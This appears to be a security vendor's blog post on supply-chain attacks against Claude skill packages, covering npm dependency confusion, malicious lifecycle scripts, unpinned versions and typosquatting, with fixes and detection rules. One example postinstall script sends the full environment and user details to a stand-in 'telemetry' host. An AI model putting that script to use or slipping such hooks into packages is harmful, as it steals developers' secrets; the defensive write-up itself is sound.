← Blog

Claude skill dependency confusion attack

Claude skills are installed from GitHub repositories or npm packages and executed with the user’s full workstation privileges. Their package.json dependency graphs are therefore a supply chain attack surface: an attacker who controls one transitive dependency can run arbitrary code at skill install time. Four SA-SKL-DEP patterns cover the complete dependency attack surface: classic npm dependency confusion via namespace collision, malicious lifecycle scripts in direct or transitive dependencies, unpinned semver version ranges that silently upgrade to compromised versions, and skill-name-to-package-name typosquatting that triggers on common installation mistakes.

By SkillAudit  |  31 Oct 2026

The dependency confusion attack class was first publicly demonstrated in 2021, when a researcher earned over $130,000 in bug bounties by registering public npm packages with names matching private packages used by Apple, Microsoft, PayPal, and 30 other companies. When npm installed those packages, it preferentially fetched the (higher-versioned) public version, executing the researcher’s PoC code. For Claude skills, the same attack vector runs against developer workstations where the blast radius includes not just the CI environment but the developer’s full personal credential store.

SA-SKL-DEP-001: dependency confusion via public npm namespace collision

Skills that depend on packages with non-scoped names pulled from a corporate or private npm registry are vulnerable when an attacker registers the same name on public npm with a higher version number. npm’s resolution algorithm will install whichever source returns the highest semver version. An attacker who knows a skill depends on an internal package named acme-mcp-utils at version 1.0.0 can publish acme-mcp-utils@9.0.0 on public npm to have their package installed instead. The malicious package’s postinstall script runs with npm’s permissions during npm install, before the skill author ever sees a problem.

// VULNERABLE package.json: internal packages without scope, pulled from mixed registry
{
  "name": "my-mcp-skill",
  "dependencies": {
    "acme-internal-utils": "^1.0.0",   // ← non-scoped internal package name
    "corp-shared-auth": "^2.1.0",       // ← attackable if not on npmjs.com
    "@modelcontextprotocol/sdk": "^1.0.0"  // ← scoped to MCP org — safer
  }
}
// .npmrc that mixes public + private registry without per-scope isolation
registry=https://registry.acme.internal
# No public.registry or @scope:registry — npm falls through to npmjs.com for unknowns

// VULNERABLE: no package-lock.json committed — each install resolves fresh
// Attacker publishes acme-internal-utils@99.0.0 on npmjs.com with malicious postinstall
// Next: npm install → npm sees version 99.0.0 > 1.0.0 → installs attacker's package

// SECURE: use scoped package names + per-scope registry pinning
{
  "name": "my-mcp-skill",
  "dependencies": {
    "@acme/internal-utils": "^1.0.0",   // ← scoped — can't be confused with public pkg
    "@acme/shared-auth": "^2.1.0",
    "@modelcontextprotocol/sdk": "^1.0.0"
  }
}

// .npmrc with per-scope registry
@acme:registry=https://registry.acme.internal
# All @acme/* packages pulled from internal; other scopes use public npm

// ALSO SECURE: commit package-lock.json and use npm ci (not npm install)
// npm ci enforces exact lock file — never resolves fresh against registry

// ALSO SECURE: use --ignore-scripts in CI/CD installs for libraries that don't need them
// npm install --ignore-scripts  ← prevents lifecycle scripts from running

// DETECTION (SkillAudit):
// Find non-scoped dependency names in package.json
const nonScopedDeps = findNonScopedDependencies();
if (nonScopedDeps.length > 0) → HIGH // SA-SKL-DEP-001
// Check if package-lock.json is missing or in .gitignore
if (!hasPackageLock() || isIgnored('package-lock.json')) → HIGH // SA-SKL-DEP-001
// Check .npmrc for scope-isolated registry configuration
if (!hasScopeIsolatedRegistryConfig()) → MEDIUM // SA-SKL-DEP-001

Dependency confusion attacks execute code before the skill runs — at install time: A malicious postinstall script runs when the developer types npm install, not when they invoke the skill. This means the attacker’s payload runs in the developer’s full environment, before any skill sandboxing, before any audit of the installed code, and before the developer suspects anything has gone wrong. Exfiltration of SSH keys, cloud credentials, and browser sessions happens silently during a routine dependency installation.

HIGH
SA-SKL-DEP-001 — non-scoped npm package names in package.json without scope-isolated registry configuration or committed package-lock.json: public npm attacker registers same name at higher version; code executes during npm install. Detection: non-scoped dependencies + missing lock file + no per-scope .npmrc → HIGH.

SA-SKL-DEP-002: malicious preinstall/postinstall lifecycle scripts in skill dependencies

npm runs preinstall, install, and postinstall scripts defined in a package’s package.json automatically during npm install. A compromised transitive dependency — even one that appears benign and is widely used — can add a postinstall script that runs arbitrary code. Skills that do not audit the lifecycle scripts of their direct and transitive dependencies create an installation-time code execution path. The 2022 node-ipc incident, where a maintainer added destructive code to a widely-used package, demonstrated that even established packages can become attack vectors.

// VULNERABLE: skill depends on packages with postinstall scripts that call external code
// Inspect any dependency's package.json for scripts:
{
  "name": "some-mcp-helper",
  "version": "2.4.1",
  "scripts": {
    "postinstall": "node ./scripts/setup.js"  // ← runs arbitrary code at install time
  }
}

// setup.js could contain:
const { execSync } = require('child_process');
const os = require('os');
const https = require('https');

// "Telemetry" that exfiltrates environment
const payload = JSON.stringify({
  env: process.env,
  hostname: os.hostname(),
  user: os.userInfo()
});

const req = https.request({
  hostname: 'telemetry.pkg-vendor.com',
  path: '/install',
  method: 'POST',
  headers: { 'Content-Type': 'application/json' }
});
req.write(payload);
req.end();

// DETECT: list all postinstall scripts in your dependency tree
// npm ls --json | jq '.. | .scripts? | select(. != null) | select(.postinstall != null)'

// SECURE: use --ignore-scripts for skills that have no need for lifecycle scripts
// For skills that use native addons (which need lifecycle scripts), audit each one:
// 1. Identify which deps need lifecycle scripts (native modules: node-gyp, etc.)
// 2. Explicitly allow only those using npm overrides or .npmrc
// 3. Audit the script content in each case

// package.json approach: use npm overrides to remove scripts from known-bad deps
{
  "overrides": {
    "some-mcp-helper": {
      "scripts": {}  // ← removes all lifecycle scripts from this dep
    }
  }
}

// CI/CD hardening: run npm install --ignore-scripts on build agents
// Then separately handle native module builds only for known-needed packages

// DETECTION (SkillAudit):
// Find postinstall/preinstall/install scripts in direct dependencies' package.json
const lifecycleScripts = findLifecycleScriptsInDependencies();
if (lifecycleScripts.length > 0) → HIGH // SA-SKL-DEP-002 (manual review needed)
// Find lifecycle scripts that make network calls or exec subprocesses
if (lifecycleScriptsWithNetworkOrExec(lifecycleScripts)) → CRITICAL // SA-SKL-DEP-002

Transitive dependency lifecycle scripts are invisible to most skill authors: A skill might have 5 direct dependencies and 400 transitive ones. Any one of those 400 packages can run a postinstall script. Supply chain attacks routinely target packages with hundreds of dependents specifically because the attack surface is invisible to the downstream consumers. SkillAudit scans the full node_modules tree and flags every package with lifecycle scripts that make network calls or spawn child processes.

CRITICAL
SA-SKL-DEP-002 — postinstall/preinstall scripts in any direct or transitive dependency that invoke network calls or child_process: installation-time credential exfiltration or persistence implant before skill code executes. Detection: lifecycle script analysis in full dependency tree for network/exec calls → CRITICAL when confirmed; HIGH for unaudited scripts.

SA-SKL-DEP-003: unpinned semver ranges allow silent malicious version upgrades

Skills that specify dependencies with ranges like ^1.0.0 or ~2.4.0 (or worse, * or latest) will install newer versions of those packages on fresh npm install runs. If a package maintainer’s npm account is compromised and a malicious version is published within the allowed semver range, every subsequent install of the skill will execute the attacker’s code. This is the supply chain attack equivalent of eval(userCode): the skill author has implicitly delegated code execution rights to every npm account that can publish to any package in their dependency tree.

// VULNERABLE: semver ranges allow automatic upgrade to malicious versions
{
  "dependencies": {
    "@modelcontextprotocol/sdk": "^1.0.0",   // ← accepts any 1.x.x — attacker publishes 1.99.0
    "zod": "^3.22.0",                         // ← accepts 3.22.0 to 3.x.x
    "axios": "latest",                         // ← always installs newest published version
    "some-utility": "*"                        // ← installs any version
  }
}
// No package-lock.json in repo → each install resolves fresh ranges against registry

// ATTACK SCENARIO:
// 1. Attacker compromises maintainer credentials of a Zod dependency (hypothetical)
// 2. Publishes zod@3.23.0 with malicious postinstall
// 3. All skill installations with ^3.22.0 install the malicious version
// 4. Installer's credentials exfiltrated on npm install

// SECURE: pin exact versions + commit package-lock.json + use npm ci
{
  "dependencies": {
    "@modelcontextprotocol/sdk": "1.0.3",   // ← exact pin — no automatic upgrades
    "zod": "3.22.4",
    "axios": "1.6.8"
  }
}
// package-lock.json committed to repo
// CI uses `npm ci` — fails if lock file is out of sync, never resolves ranges

// ALSO SECURE: use npm audit in CI and fail the build on high/critical advisories
// ALSO SECURE: Renovate or Dependabot creates PRs for version upgrades — human reviews each PR

// DETECTION (SkillAudit):
// Find dependencies with semver range operators (^, ~, *, >=, latest)
const pinnedDeps = countExactlyPinnedDeps();
const rangeDeps = countRangeDeps();
const pinRatio = pinnedDeps / (pinnedDeps + rangeDeps);
if (pinRatio < 0.5) → HIGH // SA-SKL-DEP-003
if (hasWildcardOrLatestDeps()) → HIGH // SA-SKL-DEP-003
// Check if package-lock.json or yarn.lock is committed
if (!hasLockFile() || isIgnored('package-lock.json')) → HIGH // SA-SKL-DEP-003

Exact version pinning is not security theater — it is the only way to guarantee reproducible installs: ^1.0.0 is not a security control; it is a convenience feature that trades reproducibility for staying on the latest patch. For Claude skills that run with developer-level privileges, the correct tradeoff is exact pins plus a dependency update bot (Renovate/Dependabot) that creates reviewed PRs for upgrades. This gives both security and freshness without silently trusting npm account security for every dependency maintainer.

HIGH
SA-SKL-DEP-003 — semver range specifiers (^, ~, *, latest) without committed lock file: compromised upstream maintainer account publishes malicious version within allowed range; next install silently executes attacker code. Detection: range dependencies + absent or gitignored lock file → HIGH.

SA-SKL-DEP-004: skill name to npm package name typosquatting

Claude Code and other MCP hosts install skills by running npm install or claude plugin install with the skill’s package name. If a skill is published to GitHub but not to npm, or if users install it by typing the package name manually, a typo in the package name resolves to a squatted npm package. An attacker who registers common misspellings of popular skill names (e.g., @anthropic/mcp-filesystem vs @anthropics/mcp-filesystem, or mcp-skill-github vs mcp-skills-github) on npm receives npm installs from any user who makes that typo. The squatted package’s lifecycle scripts execute immediately.

// ATTACK: register typo variants of popular skill names on public npm
// Legitimate: @modelcontextprotocol/server-filesystem (official)
// Squats:     @modelcontextprotocol/server-filesytem   (transposed s/y)
//             @modelcontextprotocol/server-filesystems  (extra s)
//             @modelcontextprotocol/filesystem-server   (reversed words)

// User types: npm install @modelcontextprotocol/server-filesytem
// npm installs attacker's package → postinstall runs → credentials exfiltrated

// VULNERABLE skill that doesn't register defensive namespace variants:
// package.json: { "name": "mcp-database-skill" }
// Published only on GitHub, not npm → attacker registers mcp-database-skill on npm
// Users following README's "npm install mcp-database-skill" instruction install attacker code

// DETECTION surface for SkillAudit:
// Check if skill's declared name is registered on npm
// If skill is on GitHub only: check if the npm name is claimed by a different entity
// Check for common typo variants: transpositions, missing/extra chars, word order

// MITIGATION for skill authors:
// 1. Register your package name on npm even if distributing only via GitHub
//    → prevents namespace squatting
// 2. Add package name variants to README explicitly showing the correct full name
// 3. Use scoped packages (@your-org/skill-name) which are harder to typosquat
//    since attacker must also register @your-org scope

// INSTALLATION HYGIENE for skill consumers:
// Always copy-paste install commands from the official README — never type from memory
// Verify the installed package owner matches the expected GitHub org after install:
// npm view @modelcontextprotocol/server-filesystem maintainers

// DETECTION (SkillAudit):
// Verify that the package name declared in package.json is claimed on npm
const npmRegistration = await checkNpmRegistration(packageJson.name);
if (!npmRegistration.claimed) → HIGH // SA-SKL-DEP-004
if (npmRegistration.owner !== expectedOwner) → CRITICAL // SA-SKL-DEP-004
// Check that common one-edit-distance typo variants are also claimed (defensive registration)
const typoVariants = generateTypoVariants(packageJson.name);
const unclaimedTypos = await checkUnclaimed(typoVariants);
if (unclaimedTypos.length > 0) → MEDIUM // SA-SKL-DEP-004

Skills published to GitHub but not npm are not protected from typosquatting: If a skill’s README says “npm install my-skill-name” and my-skill-name is not registered on npm by the skill author, any attacker can claim it. The npm registry operates on first-come-first-served namespace allocation. Claiming your package name on npm — even if you distribute exclusively via GitHub — is a defensive action that prevents future squatting of your skill’s installation path.

HIGH
SA-SKL-DEP-004 — skill package name not registered on npm, or registered by a different entity than the GitHub repo owner: typo or social-engineering install delivers attacker package; postinstall executes credential exfiltration payload. Detection: npm registry owner mismatch with GitHub org, or unregistered package name with unclaimed typo variants → HIGH to CRITICAL.

How SkillAudit detects SA-SKL-DEP patterns

PatternDetection methodSeverity
SA-SKL-DEP-001Static: non-scoped dependency names in package.json without scope-isolated .npmrc; missing or gitignored package-lock.jsonHIGH
SA-SKL-DEP-002Static + dynamic: lifecycle scripts (postinstall/preinstall) in direct and transitive dependency tree; script analysis for https/child_process/dns callsCRITICAL
SA-SKL-DEP-003Static: semver range operators in any dependency; latest or * specifiers; missing lock file; lock file not referenced by npm ci in CI configurationHIGH
SA-SKL-DEP-004Dynamic: npm registry check for package name ownership; one-edit-distance typo variant enumeration; GitHub org vs npm publisher mismatchHIGH

Run a SkillAudit scan on your Claude skill or MCP server: Paste your GitHub URL at skillaudit.dev to detect all four SA-SKL-DEP supply chain patterns plus SA-SKL-SBX sandbox escape, SA-SKL-MEM memory leakage, and 200+ other checks across the complete Claude skill and MCP security taxonomy.